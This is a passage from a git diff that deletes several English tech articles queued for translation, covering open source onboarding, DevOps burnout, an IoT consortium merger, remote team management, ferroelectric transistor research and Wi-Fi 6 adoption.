https://docs.python.org/3/library/ -[7]: https://opensource.com/article/19/10/python-programming-paradigms -[8]: https://en.wikipedia.org/wiki/Fizz_buzz -[9]: https://pypi.org/project/pandas/ -[10]: https://pypi.org/project/Twisted/ -[11]: https://pypi.org/project/Django/ -[12]: https://pypi.org/project/paramiko/ -[13]: https://www.python.org/psf/conduct/ -[14]: https://us.pycon.org/2019/about/code-of-conduct/ -[15]: https://www.python.org/community/ diff --git a/sources/talk/20200101 How to get started with open source in 2020.md b/sources/talk/20200101 How to get started with open source in 2020.md deleted file mode 100644 index 35f67c3d28..0000000000 --- a/sources/talk/20200101 How to get started with open source in 2020.md +++ /dev/null @@ -1,88 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (How to get started with open source in 2020) -[#]: via: (https://opensource.com/article/20/1/getting-started-open-source) -[#]: author: (Bryant Son https://opensource.com/users/brson) - -How to get started with open source in 2020 -====== -New to open source? Opensource.com's top 10 articles for newcomers will -get you on the right pathway quickly in the new year. -![pipe in a building][1] - -When Opensource.com launched in 2010, Red Hat CEO Jim Whitehurst said the site "is one of the ways in which Red Hat gives something back to the open source community." And that community has always included the growing number of people who are new to open source. - -In 2019, we published many articles about the open source way of thinking, choosing hardware, the contribution process, and other topics geared toward newbies. If you're new to open source, this list of Opensource.com's top 10 articles from 2019 about getting started with open source should put you on the right path. - -### Why I made the switch from Mac to Linux - -Have you ever considered trying out Linux but were not sure how to start? You are not alone! Trying something new is usually a little scary and involves a learning curve. In [_Why I made the switch from Mac to Linux_][2], Matthew Broberg shares his story about adopting Linux and how his initial nervousness was transformed into an awesome feeling of accomplishment. - -### Getting started with Git: Terminology 101 - -Although there are many ways to contribute to open source (including writing about it, like I'm doing here), the most notable contributions come from the developers who provide source code to projects. They usually make their source code contributions to GitHub and GitLab repositories using the Git tool. Matthew Broberg's guide to [_Getting started with Git: Terminology 101_][3] explains how to get started with Git so you can make your first commit to your favorite open source project. - -### Buying a Linux-ready laptop - -Most people who want to try Linux are already familiar with Microsoft Windows or Apple MacOS, and they may know they can install Linux on their existing computer, for example, by using a virtual machine, partitioning their drive to install Linux alongside Windows or Mac, reformatting their drive to erase their old operating system and install Linux, or putting Linux on a second drive. But many may not know they can buy a Linux-by-default laptop from companies like System76, Slimbook, and Tuxedo. In [_Buying a Linux-ready laptop_][4], Richardo Berlasso shares his experience of ordering, receiving, and using a Linux-ready Tuxedo laptop. - -### Getting started with Vim: The basics - -Vim is an improved version of the vi text editor. It's is available by default on most Linux operating systems and competes with Emacs, another popular Linux text editor. Knowing how to use Vim can give you an edge in creating, modifying, and managing text-based files, whether they are programming files or simple words on a screen. In [_Getting started with Vim: The basics_][5], I walk through how to start learning Vim to simplify your open source journey. - -### How to create a pull request in GitHub - -Pull request, often shortened to PR, is a Git term that means something is available to be merged into another branch. Pull requests are an essential part of the open source contribution process: to contribute to an open source project, people fork or clone a branch to work on it, and the PR process is how they later merge their work back to the parent branch. [_How to create a pull request in GitHub_][6] by Kedar Vijay Kulkarni will give you a good foundation of knowledge to make your first pull request. - -### Bash vs. Python: Which language should you use? - -Of the many programming languages out there, Python is definitely one of the hottest, driven mostly by the growth of data science. But for automation engineers, Bash always has been the primary script language to get the job done. So, what can Python do that Bash cannot? What are some Bash tasks that Python can't replace? Learn the differences by reading [_Bash vs. Python: Which language should you use?_][7] by Archit Modi. - -### How to use Ansible to document procedures - -Ansible is a very popular and powerful infrastructure-as-code tool. Many enterprises rely on it to automate tasks in their cloud platforms. Among the countless things Ansible can do, one of the least obvious is the one Marco Bravo explains: [_How to use Ansible to document procedures_][8]. - -### A dozen ways to learn Python - -Learning a programming language is always a daunting task. But Python has a number of features that make the learning process easy. Contributor Don Watkins offers [_A dozen ways to learn Python_][9] to take some of the stress out of the journey from getting started to becoming a Python expert. - -### What's the best Linux distribution for beginners? - -Everyone has probably heard of Android, the most widely used Linux-based mobile operating system. And many have heard of Red Hat Enterprise Linux (RHEL) and Ubuntu. Picking a Linux operating system can be difficult, but Lauren Pritchett's poll [_What's the best Linux distribution for beginners?_][10] might help you pick the right one based on the community's input. By the way, while you're there, make sure to vote for your favorite Linux distro. - -### My first contribution to open source: Impostor Syndrome - -Contributing to open source can change your life in positive ways, but you can't ignore the technical challenges around it. Have you ever heard someone say, "Hey, starting with open source is a piece of cake? Everyone can do it!" Probably not, since it's not exactly true. Galen Corey shares some of the challenges he confronted in [_My first contribution to open source: Impostor Syndrome_][11]. - -### What else do you need to get started? - -There are a lot of topics related to getting started with open source, which also means there are a lot of opportunities for Opensource.com to give back to new users by publishing articles to help them. Do you have ideas for other articles we should cover in 2020? Please share your suggestions in the comments, or even consider [writing an article][12] about your own open source journey. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/20/1/getting-started-open-source - -作者:[Bryant Son][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/brson -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/open_pipe_red_hat_tower_building.png?itok=8ho3yi7L (pipe in a building) -[2]: https://opensource.com/article/19/10/why-switch-mac-linux -[3]: https://opensource.com/article/19/2/git-terminology -[4]: https://opensource.com/article/19/7/linux-laptop -[5]: https://opensource.com/article/19/3/getting-started-vim -[6]: https://opensource.com/article/19/7/create-pull-request-github -[7]: https://opensource.com/article/19/4/bash-vs-python -[8]: https://opensource.com/article/19/4/ansible-procedures -[9]: https://opensource.com/article/19/8/dozen-ways-learn-python -[10]: https://opensource.com/article/19/10/linux-distribution-beginners -[11]: https://opensource.com/article/19/11/my-first-open-source-contribution-impostor-syndrome -[12]: https://opensource.com/how-submit-article diff --git a/sources/talk/20200104 DevOps is a solution to burnout worth investing in.md b/sources/talk/20200104 DevOps is a solution to burnout worth investing in.md deleted file mode 100644 index 59d27c605e..0000000000 --- a/sources/talk/20200104 DevOps is a solution to burnout worth investing in.md +++ /dev/null @@ -1,100 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (DevOps is a solution to burnout worth investing in) -[#]: via: (https://opensource.com/article/20/1/devops-burnout-solution) -[#]: author: (Dawn Parzych https://opensource.com/users/dawnparzych) - -DevOps is a solution to burnout worth investing in -====== -Instead of treating burnout once it kicks in, we need to do more to -prevent it in the first place. Here is a reminder of the cause and a -look at solutions. -![A person choosing between several different incentives][1] - -Not a day goes by that I don't see a tweet or hear somebody talking about burnout. Burnout is becoming a pervasive part of our lives, especially in tech and open source communities. In [_What you need to know about burnout in open source communities_,][2] I defined burnout and explored its causes, symptoms, and potential treatments. But a better question is about prevention: How do we change the underlying processes, cultures, and tools to prevent burnout from occurring in the first place? - -### Burnout's catalyst is unplanned work - -Let's start by reviewing what's known about the cause of burnout. In 2019, PagerDuty published [_Unplanned work: The human impact of an always-on world_][3]. More than 35% of the study's respondents are considering leaving their jobs due to stress and work/life balance issues, also known as burnout. Companies that utilize automation and have documented response plans have fewer unplanned incidents and less stressed employees. - -Modern software organizations use automation and documented response plans to move faster. Moving faster is necessary to stay competitive. We are in this endless cycle where customers expect more, which puts more pressure on companies to deliver more and deliver it faster, which in turn creates pressure on employees. - -However, it is possible to move fast while having protections to prevent unplanned work and burnout. The Accelerate State of DevOps Report has been tracking trends in DevOps for six years. It allows teams to benchmark against others in the industry as low, medium, high, or elite performers. One of the findings from the [2019 State of DevOps report][4] was: "Productivity can drive improvements in work/life balance and reductions in burnout, and organizations can make smart investments to support it." - -Productivity means more work gets done. Therefore, more value is delivered. The catch to productivity is balance: Don't do more work in the short term at the expense of burning out your people. Processes and tooling need to be in place to prevent people from feeling overworked and overwhelmed. - -To support productivity that does not lead to burnout, organizations need to make smart investments in tooling and reduce technical debt. Investing in tooling means purchasing useful and easy-to-use solutions. The preference for building rather than buying may lead productivity to decrease and burnout to emerge. How? Instead of focusing on building features that are competitive differentiators and help the company achieve key business objectives, the developers spend countless hours trying to build something that a vendor could have quickly provided. - -As developers spend time building non-core solutions, technical debt accrues, and features are pushed out. Instead of building all the things, buy the tooling that supports the business but is not strategic, and build the things that are core to your business strategy. You wouldn't use development resources to build your own email program, so treat other tooling the same way. Twenty percent of tools used by low-performing teams are developed primarily in-house and proprietary to the organization, compared to 5% to 6% in medium, high, and elite teams. - -### Worthwhile solutions to burnout - -If you want to prevent burnout, here are some areas to invest in. It's no coincidence they overlap with frequent discussions [in DevOps articles][5]. - -#### Communication and collaboration - -Communication is at the heart of everything we do. [Laurie Barth][6] sums it up nicely: "Over time, I've learned that the biggest source of failure is often due to people and teams. A lack of communication and coordination can cause serious problems." Use tools like videoconferencing, Confluence, and Slack to ensure communication and collaboration happen. - -But create rules around the use of these tools. Make sure to turn off Slack notifications during off-hours. I disable my notifications from 6pm to 8am. - -Define what type of communication is best for which situations. Slack is useful for real-time, ephemeral communication, but it can lead to people feeling the need to always be on. If they're not online, they may miss an important conversation. If major or minor decisions are made in a Slack thread, document those in a longer-living system of record, giving all team members access to the necessary information. - -Trying to debug an incident? Communicate via Slack. Need to write up a post-incident review? Post that to Confluence or a wiki. - -Videoconferencing tools like Zoom or BlueJeans help enable remote work. Having the ability to work remotely, part-time or full-time, can reduce the stress of commuting or relocating. Videoconferences make it easy to stay connected with distributed teams because sometimes it is easier to hash things out in a face-to-face conversation than over email or Slack. - -These tools should not be used to encourage people to work while on vacation. Time off means time away from work to rest, recover, and recharge. - -#### Releases and deploys - -According to the 2019 State of DevOps report, elite teams deploy code 208 times more frequently than low performers, and their lead time from committing code to deployment is 106 times faster. It may seem that the more deploys you do, the greater the likelihood of burnout, but that isn't necessarily the case. Teams that utilize continuous delivery have processes in place to deploy safely. - -First, separate releases from deploys—just because you deployed code doesn't mean that all users should have access to it. Ring deploys make features available to a small group of people, like internal employees or beta customers. These users can help you identify bugs or provide feedback to fine-tune a feature before releasing it widely. - -Next, create feedback loops regarding the quality of a deployment. Things don't always go as planned when deploying your code. You need the ability to rapidly stop when things go wrong. Feedback loops include implementing monitoring and observability tools. By using telemetry data along with kill switches, you can quickly turn off a poorly behaving feature rather than rolling back an entire deployment. - -Finally, run A/B tests and experiments to learn what customers respond to. A metrics-based approach provides insight into what works and what doesn't and can help you validate a hypothesis. Instead of creating technical debt with a partial feature, collect data to see if the feature provides the expected conversions early on. If it doesn't, don't release it. - -#### Incident resolution - -Part of resolving incidents means knowing what to do when something breaks. And constantly putting out fires can lead to burnout. We can't prevent all incidents from happening, but we can be better prepared. Running chaos experiments or game days with tools like Gremlin can help companies prepare for the unexpected. - -With chaos experiments, you can learn how your systems, services, and applications respond under specific scenarios. Knowing how things behave when they're broken can shorten incident-resolution times. They can also help you identify and fix vulnerabilities before an incident occurs. - -What can you automate to reduce toil during incident resolution? For example, when you're actively working on an incident, can a Slack channel dedicated to the incident be automatically generated? Or can you create [feature flags][7] with a solution like LaunchDarkly (full disclosure: I work there) to perform common tasks during incident resolution? These could include: - - * Dynamic configuration changes, like automatically adjusting logging levels to collect more information when an alert is triggered - * Load-shedding to disable non-critical elements when systems are under heavy load to ensure essential tasks complete - * Kill switches or circuit breakers to turn off features when they are impacting your service reliability - - - -### It's not magic - -There is no magic bullet to resolve burnout; it requires having the right people, processes, and tools. The people help create an environment of psychological safety where people are free to ask questions, experiment, make mistakes, and be creative. Think about what is most important to your organization, and invest in the right tools to support those goals and the people working towards them. - -This month we look at ways to balance your workload, gracefully say "no," and avoid burnout. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/20/1/devops-burnout-solution - -作者:[Dawn Parzych][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/dawnparzych -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/BUSINESS_incentives.png?itok=IhIL1xyT (A person choosing between several different incentives) -[2]: https://opensource.com/article/19/11/burnout-open-source-communities -[3]: https://www.pagerduty.com/resources/reports/unplanned-work/ -[4]: https://services.google.com/fh/files/misc/state-of-devops-2019.pdf -[5]: https://opensource.com/tags/devops -[6]: https://laurieontech.com/ -[7]: https://martinfowler.com/articles/feature-toggles.html diff --git a/sources/talk/20200104 Industrial Internet Consortium teams up with blockchain-focused security group.md b/sources/talk/20200104 Industrial Internet Consortium teams up with blockchain-focused security group.md deleted file mode 100644 index cd5f8f23c2..0000000000 --- a/sources/talk/20200104 Industrial Internet Consortium teams up with blockchain-focused security group.md +++ /dev/null @@ -1,52 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Industrial Internet Consortium teams up with blockchain-focused security group) -[#]: via: (https://www.networkworld.com/article/3512062/industrial-internet-consortium-teams-up-with-blockchain-focused-security-group.html) -[#]: author: (Jon Gold https://www.networkworld.com/author/Jon-Gold/) - -Industrial Internet Consortium teams up with blockchain-focused security group -====== -A merger between a prominent industrial-IoT umbrella group and a blockchain-centered corporate memebership program highlights a new focus on bringing finished IoT solutions to market. -Leo Wolfert / Getty Images - -The Industrial Internet Consortium and the Trusted IoT Alliance announced today that they would merge memberships, in an effort to drive more collaborative approaches to [industrial IoT][1] and help create more market-ready products. - -The Trusted IoT Alliance will now operate under the aegis of the IIC, a long-standing umbrella group for vendors operating in the IIoT market. The idea is to help create more standardized approaches to common use cases in IIoT, enabling companies to get solutions to market more quickly. - -[[Get regularly scheduled insights by signing up for Network World newsletters.]][2] - -“This consolidation will strengthen the ability of the IIC to provide guidance and advance best practices on the uses of distributed-ledger technology across industries, and boost the commercialization of these products and services,” said 451 Research senior [blockchain][3] and DLT analyst Csilla Zsigri in a statement. - -Gartner vice president and analyst Al Velosa said that it’s possible the move to team up with TIoTA was driven in part by a new urgency to reach potential customers. Where other players in the IoT marketplace, like the major cloud vendors, have raked in billions of dollars in revenue, the IIoT vendors themselves haven’t been as quick to hit their sales targets. “This approach is them trying to explore new vectors for revenue that they haven’t before,” Velosa said in an interview. - -The IIC, whose founding members include Cisco, IBM, Intel, AT&T and GE, features 19 different working groups, covering everything from IIoT technology itself to security to marketing to strategy. Adding TIoTA’s blockchain focus to the mix could help answer questions about security, which are centrally important to the continued success of enterprise and industrial IoT products. - -Indeed, research from Gartner released late last year shows that IoT users are already gravitating toward blockchain and other distributed-ledger technologies. Fully three-quarters of IoT technology adopters in the U.S. have either brought that type of technology into their stack already or are planning to do so by the end of 2020. While almost two-thirds of respondents to the survey cited security and trust as the biggest drivers of their embrace of blockchain, almost as many noted that the technology had allowed them to increase business efficiency and lower costs. - -**[ Also see [What is edge computing?][4] and [How edge networking and IoT will reshape data centers][5].]** - -Join the Network World communities on [Facebook][6] and [LinkedIn][7] to comment on topics that are top of mind. - --------------------------------------------------------------------------------- - -via: https://www.networkworld.com/article/3512062/industrial-internet-consortium-teams-up-with-blockchain-focused-security-group.html - -作者:[Jon Gold][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://www.networkworld.com/author/Jon-Gold/ -[b]: https://github.com/lujun9972 -[1]: https://www.networkworld.com/article/3243928/what-is-the-industrial-internet-of-things-essentials-of-iiot.html -[2]: https://www.networkworld.com/newsletters/signup.html -[3]: https://www.networkworld.com/article/3386881/why-blockchain-might-be-coming-to-an-iot-implementation-near-you.html -[4]: https://www.networkworld.com/article/3224893/internet-of-things/what-is-edge-computing-and-how-it-s-changing-the-network.html -[5]: https://www.networkworld.com/article/3291790/data-center/how-edge-networking-and-iot-will-reshape-data-centers.html -[6]: https://www.facebook.com/NetworkWorld/ -[7]: https://www.linkedin.com/company/network-world diff --git a/sources/talk/20200105 7 Ways NOT to manage your remote team.md b/sources/talk/20200105 7 Ways NOT to manage your remote team.md deleted file mode 100644 index b4e223a03e..0000000000 --- a/sources/talk/20200105 7 Ways NOT to manage your remote team.md +++ /dev/null @@ -1,116 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (7 Ways NOT to manage your remote team) -[#]: via: (https://opensource.com/article/20/1/ways-not-manage-remote-team) -[#]: author: (Matt Shealy https://opensource.com/users/mshealy) - -7 Ways NOT to manage your remote team -====== -Learn to let go and let your team shine with these simple steps. -![World locations with red dots with a sun burst background][1] - -Building a remote development team presents unique challenges. Trying to build a cross-functional team, full of various personalities, virtually can lead to communication disasters. Fortunately, through planning, smart hiring, training, and communication, project leaders can build and lead virtual development teams successfully. - -The demand for remote teams continues to grow. The increased demand for software developers and [new communication technology][2] has removed the barriers of geography. Even with these advancements, disparate team members from different backgrounds may find it challenging to learn how to interact with one another. - -It's easy for misunderstandings and miscommunications to occur. It's becoming more and more critical to [rethink collaboration][3] in a work environment growing increasingly more remote. As a result, project leaders must rethink the needs of teams spread out across the globe. - -By avoiding a few key pitfalls, your team can overcome these challenges consistently. If you follow a few time-tested, in-house practices, and some that apply specifically to remote teams, you can manage a range of personalities and complete your build successfully. - -The following are seven practices to avoid when managing a remote team. - -### Don't slack on training - -A variety of different perspectives is the top benefit of working with diverse remote team members. However, it’s essential to understand and acknowledge those differences during training. - -Addressing language differences is only one part of acknowledging team diversity. When recruiting programmers, it would be best if you focus on candidates with an aptitude for working in a multicultural environment and even in a multi-coding language environment. - -Also, don’t make the mistake of thinking that personal characteristics are unimportant because team members aren’t working face-to-face. Team members still have to collaborate, so their personalities must mesh. - -Training isn’t all technical skills. Emotional training can also help a team work well together remotely. Emotional intelligence [training can help coworkers develop skills like empathy and awareness][4] that can make teams work better together. Emotional distance can make it challenging to establish bonds between new trainees and team leaders from the get-go, which can immediately loosen bonds in what could be a strong remote team. Consider what remote team-building training you can do via video or on Slack. Remember that is it important to constantly be proactive in strengthening relationships throughout the life of your team. - -### Don't use an ad hoc communication system - -When working with diverse remote team members, it’s essential that you use straightforward, effective code management and communication software. Ideally, you want the most uncomplicated resources available. - -The process may need to be further simplified for newer team members and freelancers who do not have the time to learn everything about the ins and outs of the organization’s policies. - -Create standard ways to communicate with team members. Maybe all work discussion happens in Slack or one of its [open source alternatives][5], while teams use [project management software][6] to keep work on schedule. - -Having a clear space for each type of conversation will help those who need to focus on work, while also offering an outlet for fun. Team members must use these resources daily, if not hourly. If your solutions are too complicated, learning to navigate the tools will pull focus from design and implementation work. - -### Don't lose sight of the big picture - -Avoid the pitfalls of focusing too closely on daily goals. It is essential you stay focused on the overall project. You should work with team members to establish your goals and milestones, and make sure team members stay on schedule. As the project leader, it’s your job to make sure these key events contribute to deliverable milestones. - -### Don't micromanage your team - -Some project managers, especially those with a coding background, find it difficult to delegate responsibility. It’s natural to gravitate toward solving familiar problems. However, it’s your job to guide the ship, not develop solutions. - -In [a micromanaged environment][7], the project manager tells the programmers what the code is, and exactly how to craft it. However, this management style ultimately leads to employee dissatisfaction. - -Your team should feel free to explore solutions, initiate positive change, and use innovation for exciting new ideas. - -If you don’t give your coders space to innovate and use their creativity, they feel undervalued. If this sentiment persists, your remote staff members are unlikely to produce the best work possible. - -### Use this opportunity to promote diversity - -If you are going to build a remote team, you must understand and acknowledge that [team members will have different backgrounds][8]. This circumstance is especially beneficial. The diverse viewpoints of staff members will enable your team to offer insights that expand beyond that of a centrally located talent pool. - -Also, your diverse remote team will give you access to experience with global trends. Furthermore, your team will be less likely to suffer from the effect of crowd mentality thinking. - -With the freedom to innovate, team members will feel more comfortable offering their input. Together, these benefits will enable your team as a whole to build a product better suited for multiple regions and verticals. - -### Don't forget to keep an eye on costs - -Ballooning costs are a top challenge for development teams. Despite project planning best practices, scope creep is a real problem for even the most experienced teams. There are two underlying factors that need to be addressed if this problem is to be solved. - -The first is the fact that the more analysis that is done throughout the development process, the more complexity arises and is ultimately added to the system. The second factor is the fact that people who have been through system development before know that there won’t ever be a "second phase" of the project. They know that there will only be one shot at the project, so they try and fit everything possible into the initial project phase. - -These two self-reinforcing factors lead to a death spiral of problems. Too much analysis leads to system complexity and loads of features being crammed into the first phase. A lack of trust between IT and business teams inevitably forms because of this. The design requirements become too big and complicated for there to be any chance of staying on schedule or on budget. Inevitably, blame lands with the IT team. - -The answer to this problem is to restrict analysis to only what the business team needs right now. IT should refrain from speculating on what may be needed in the future or asking business team members what they may need down the line. - -These requirements allow IT to build a reliable project plan and overall budget. If your team is looking to outsource the project at least in part, [calculating the app development costs][9] for each individual team or project component can help to keep things on track. - -### Don't think of time zone differences as a barrier - -Do not view time zone differences as a challenge. You can leverage time zones to your advantage and build your team in a way that will keep the project running around the clock. - -What is more important is choosing candidates who work independently. Good remote coders are responsible, organize their time effectively, and communicate well with team members. With an effective communication system, time differences will have no effect on the successful outcome of your team. - -Remote team members benefit significantly from predictable and straightforward engagement. The relatively new remote work environment demands that staff members establish a new standard for clear, concise communication. To promote a collaborative environment, teams must establish norms, such as universal jargon and consensus on communication tools. - -In an environment that thrives on innovation, predictability is an asset when it comes to teamwork. Everyone is different, and innovation is a sought-after commodity in software development. However, in the remote environment, consistent behavior helps team members communicate effectively. - -### Conclusion - -Remote work is quickly becoming the new default for software development. Be sure to avoid these pitfalls to set your teams up for success. - -Do you have any tips to recommend? Please share them in the comments. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/20/1/ways-not-manage-remote-team - -作者:[Matt Shealy][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/mshealy -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/world_remote_teams.png?itok=Wk1yBFv6 (World locations with red dots with a sun burst background) -[2]: https://www.chamberofcommerce.com/business-advice/strategies-and-tools-for-remote-team-collaboration -[3]: https://hbr.org/2018/02/how-to-collaborate-effectively-if-your-team-is-remote -[4]: https://www.skillsoft.com/content-solutions/business-skills-training/emotional-intelligence-training/ -[5]: https://opensource.com/alternatives/slack -[6]: https://opensource.com/business/16/2/top-issue-support-and-bug-tracking-tools -[7]: https://blog.trello.com/how-to-stop-micromanaging-your-remote-team -[8]: https://opensource.com/article/18/10/think-global-communication-challenges -[9]: https://www.appdevelopmentcost.com/#the-definitive-guide-to-understanding-app-development-costs diff --git a/sources/talk/20200107 Researchers aim for transistors that compute and store in one component.md b/sources/talk/20200107 Researchers aim for transistors that compute and store in one component.md deleted file mode 100644 index 6a0bb4f471..0000000000 --- a/sources/talk/20200107 Researchers aim for transistors that compute and store in one component.md +++ /dev/null @@ -1,56 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Researchers aim for transistors that compute and store in one component) -[#]: via: (https://www.networkworld.com/article/3510638/researchers-aim-to-build-transistors-that-can-compute-and-store-information-in-one-component.html) -[#]: author: (Patrick Nelson https://www.networkworld.com/author/Patrick-Nelson/) - -Researchers aim for transistors that compute and store in one component -====== -Materials incompatibilities have stalled efforts to integrate transistors and memory in a single on-chip, commercial component. That might be about to change. -iStock - -Researchers at Purdue University have made progress towards an elusive goal: building a transistor that can both process and store information. In the future, a single on-chip component could integrate the processing functions of transistors with the storage capabilities of ferroelectric RAM, potentially creating a process-memory combo that enables faster computing and is just atoms thick. - -The ability to cram more functions onto a chip, allowing for greater speed and power without increasing the footprint, is a core goal of electronics design. To get where they are today, engineers at Purdue had to overcome incompatibilities between transistors – the switching and amplification mechanisms used in almost all electronics – and ferroelectric RAM. Ferroelectric RAM is higher-performing memory technology; the material introduces non-volatility, which means it retains information when power is lost, unlike traditional dielectric-layer-constructed DRAM. - -**SEE ALSO:** [Researchers experiment with glass-based storage that doesn't require electronics cooling][1] - -In the past, materials conflicts have hampered the design of commercial electronics that integrate transistors and memory. “Researchers have been trying for decades to integrate the two, but issues happen at the interface between a ferroelectric material and silicon, the semiconductor material that makes up transistors. Instead, ferroelectric RAM operates as a separate unit on-chip, limiting its potential to make computing much more efficient,” Purdue explains in a [statement][2]. - -**[ [Get certified as an Apple Technical Coordinator with this seven-part online course from PluralSight.][3] ]** - -A team of engineers at Purdue, led by Peide Ye, came up with a solution: “We used a semiconductor that has ferroelectric properties. This way two materials become one material, and you don’t have to worry about the interface issues,” said Ye, who is a professor of electrical and computer engineering at the university. - -The Purdue engineers’ method revolves around a material called alpha indium selenide. It has ferroelectric properties, but it overcomes a limitation of conventional ferroelectric material, which generally acts as an insulator and doesn’t allow electricity to pass through. The alpha indium selenide material can become a semiconductor, which is necessary for the transistor element, and a room-temperature-stable, low voltage-requiring ferroelectric component, which is needed for the ferroelectric RAM. - -Advertisement - -Alpha indium selenide has a smaller band gap than other materials, the university explains. Band gaps are where no electrons can exist. That shrunken band gap, found in the material natively, means that material isn’t a serious insulator and isn’t too thick for electrical current to pass through — yet there is still a ferroelectric layer. The smaller band gap “[makes] it possible for the material to be a semiconductor without losing ferroelectric properties,” according to Purdue. - -“The result is a so-called ferroelectric semiconductor field-effect transistor, built in the same way as transistors currently used on computer chips.” - -More information is available [here][2]. - -Join the Network World communities on [Facebook][4] and [LinkedIn][5] to comment on topics that are top of mind. - --------------------------------------------------------------------------------- - -via: https://www.networkworld.com/article/3510638/researchers-aim-to-build-transistors-that-can-compute-and-store-information-in-one-component.html - -作者:[Patrick Nelson][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://www.networkworld.com/author/Patrick-Nelson/ -[b]: https://github.com/lujun9972 -[1]: https://www.networkworld.com/article/3488556/researchers-experiment-with-glass-based-storage-that-doesnt-require-electronics-cooling.html -[2]: https://www.purdue.edu/newsroom/releases/2019/Q4/reorganizing-a-computer-chip-transistors-can-now-both-process-and-store-information.html -[3]: https://pluralsight.pxf.io/c/321564/424552/7490?u=https%3A%2F%2Fwww.pluralsight.com%2Fpaths%2Fapple-certified-technical-trainer-10-11 -[4]: https://www.facebook.com/NetworkWorld/ -[5]: https://www.linkedin.com/company/network-world diff --git a/sources/talk/20200107 Wi-Fi 6 is slowly gathering steam.md b/sources/talk/20200107 Wi-Fi 6 is slowly gathering steam.md deleted file mode 100644 index cc11b7fdc8..0000000000 --- a/sources/talk/20200107 Wi-Fi 6 is slowly gathering steam.md +++ /dev/null @@ -1,79 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Wi-Fi 6 is slowly gathering steam) -[#]: via: (https://www.networkworld.com/article/3512153/wi-fi-6-will-slowly-gather-steam-in-2020.html) -[#]: author: (Jon Gold https://www.networkworld.com/author/Jon-Gold/) - -Wi-Fi 6 is slowly gathering steam -====== -There’s a lot to look forward to about 802.11ax, aka Wi-Fi 6, just don’t expect it to be a top-to-bottom revolution in 2020. -Thinkstock - -The next big wave of Wi-Fi technology, 802.11ax, is going to become more commonplace in enterprise installations over the course of the coming year, just as the marketing teams for the makers of Wi-Fi equivalent will have you believe. Yet the rosiest predictions of revolutionary change in what enterprise Wi-Fi is capable of are still a bit farther off than 2020, according to industry experts. - -The crux of the matter is that, while access points with 802.11ax’s Wi-Fi 6 branding will steadily move into enterprise deployments in, the broader Wi-Fi ecosystem will not be dominated by the new standard for several years, according to Farpoint Group principal Craig Mathias. - -[[Get regularly scheduled insights by signing up for Network World newsletters.]][1] [][2] - -“Keep in mind, we’ve got lots and lots of people that are still in the middle of deploying [802.11]ac,” he said, referring to the previous top-end Wi-Fi standard. The deployment of 802.11ax will tend to follow the same pattern as the deployment of 802.11ac and, indeed, most [previous new Wi-Fi standards][3]. The most common scenario will be businesses waiting for a refresh cycle, testing the new technology and then rolling it out. - -[][4] - -BrandPost Sponsored by HPE - -[Take the Intelligent Route with Consumption-Based Storage][4] - -Combine the agility and economics of HPE storage with HPE GreenLake and run your IT department with efficiency. - -In the near term, enterprises installing 802.11ax access points will bring performance increases – the system’s [MU-MIMO][5] antenna technology is more advanced than that present in previous versions of the Wi-Fi standard, and better suited to high-density environments with large numbers of endpoints connecting at the same time. Yet those increases will be small compared to those that will ensue once 802.11ax endpoints – that is, phones, tablets, computers and more specialized devices like [IoT][6] sensors and medical devices – hit the market. - -That, unfortunately, is still some way off, and Mathias said it will take around five years for 802.11ax to become ubiquitous. - -Advertisement - -“We’re not expecting a lot of [802.11]ax devices for a while,” he said. - -Making sure devices are compliant with modern Wi-Fi standards will be crucial in the future, though it shouldn’t be a serious issue that requires a lot of device replacement outside of fields that are using some of the aforementioned specialized endpoints, like medicine. Healthcare, heavy industry and the utility sector all have much longer-than-average expected device lifespans, which means that some may still be on 802.11ac. - -That’s bad, both in terms of security and throughput, but according to Shrihari Pandit, CEO of Stealth Communications, a fiber ISP based in New York, 802.11ax access points could still prove an advantage in those settings thanks to the technology that underpins them. - -“Wi-Fi 6 devices have eight radios inside them,” he said. “MIMO and 